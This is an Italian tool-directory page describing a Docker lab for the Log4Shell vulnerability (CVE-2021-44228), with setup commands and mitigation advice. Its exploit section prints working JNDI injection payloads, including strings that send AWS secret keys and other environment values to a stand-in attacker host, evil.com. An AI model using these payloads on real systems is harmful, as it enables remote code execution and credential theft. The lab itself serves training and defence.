Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4shell-docker-lab — Laboratorio docker Log4Shell (CVE-2021-44228) | Kitploit
Strumenti/GitHubGitHub/axelcurmi/log4shell-docker-lab
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubaxelcurmi/log4shell-docker-lab

log4shell-docker-lab

Laboratorio docker Log4Shell (CVE-2021-44228)

Vedi Repository
134 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Laboratorio Docker Log4Shell per CVE-2021-44228

I componenti

Questo laboratorio docker utilizza tre componenti, ovvero:

  • L'applicazione spring-boot vulnerabile
  • Un server HTTP che ospita i file .class utilizzati per l'esecuzione remota del codice
  • Un server di referral LDAP che reindirizza specifiche query LDAP al server HTTP

Configurazione del laboratorio Docker

1. Rete Docker

root@kitploit:~
docker network create log4shell

2. Creazione delle immagini Docker

root@kitploit:~
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec

3. Avvio dei container

Nota importante: Se si utilizza Windows PowerShell, sostituire $(pwd) con ${pwd}.

root@kitploit:~
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"

Exploit

Aprire l'applicazione vulnerabile, inserire delle credenziali di test false e aprire i log del container log4shell-vulnapp. Si può notare che l'applicazione registra i tentativi di accesso non riusciti (ad es., Tentativo di accesso non riuscito per il nome utente 'test'). Da questo piccolo esperimento si evince che abbiamo il controllo su una parte della stringa registrata nei log (cioè il nome utente).

Possiamo inviare un payload come il seguente per eseguire codice da remoto:

root@kitploit:~
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}

L'esecuzione remota del codice può essere effettuata su qualsiasi versione di Java; tuttavia, le macchine con versioni di Java precedenti al seguente elenco [1]:

  • 6u211
  • 7u201
  • 8u191
  • 11.0.1

Ciò è dovuto al fatto che le versioni successive impostano la proprietà di sistema della JVM com.sun.jndi.ldap.object.trustURLCodebase su false per impostazione predefinita, il che disabilita il caricamento JNDI di classi da codebase URL arbitrari. Tuttavia, affidarsi solo a una nuova versione di Java come protezione contro questa vulnerabilità è rischioso, poiché la vulnerabilità potrebbe essere comunque sfruttata su macchine che contengono determinate classi "gadget" nel classpath dell'applicazione vulnerabile e le query DNS possono essere utilizzate per ottenere informazioni come le variabili d'ambiente.

Esistono diverse sostituzioni di lookup che rivelano informazioni sensibili dalla macchina vittima. In particolare, utilizzando un payload simile a [2, 3]:

root@kitploit:~
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}

Nota: La stringa di attacco tramite spring lookup richiede che log4j-spring-cloud-config-client sia incluso nell'applicazione. [2]

Mitigazione

Il modo migliore per mitigare questa grave vulnerabilità è aggiornare log4j2 a una versione >= 2.17.0. Tuttavia, è possibile mitigare completamente il problema senza aggiornare, utilizzando due metodi diversi. Si raccomanda vivamente ai fornitori che non possono aggiornare a una versione più recente di Log4j2 di utilizzare entrambi i metodi di mitigazione indicati di seguito [1].

Metodo 1: Per log4j 2.10.0 o successivo - Disabilitare i lookup

La disabilitazione dei lookup può essere effettuata (a livello globale) impostando la variabile d'ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS su true modificando il file /etc/environment e aggiungendo: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]

In alternativa, i lookup possono essere disabilitati per una specifica invocazione della JVM aggiungendo il seguente flag da riga di comando quando si esegue l'applicazione Java vulnerabile: ‐Dlog4j2.formatMsgNoLookups=True [1]

Metodo 2: Per log4j precedente alla 2.10.0 - Rimozione della classe vulnerabile

Quando si utilizza una versione di log4j precedente alla 2.10.0, è possibile rimuovere la classe JndiLookup da qualsiasi applicazione Java.

Riferimenti

[1] Menashe, S., (2021). Tutto sulla vulnerabilità zero-day Log4Shell - CVE-2021-44228. [online] JFrog. Disponibile su: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Consultato il 24 dicembre 2021].

[2] Goers, R., (2021). Log4j – I lookup di Log4j 2. [online] logging.apache.org. Disponibile su: https://logging.apache.org/log4j/2.x/manual/lookups.html [Consultato il 24 dicembre 2021].

[3] Oracle. (2021). Proprietà di sistema. [online] Disponibile su: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Consultato il 24 dicembre 2021].

Scarica lo strumento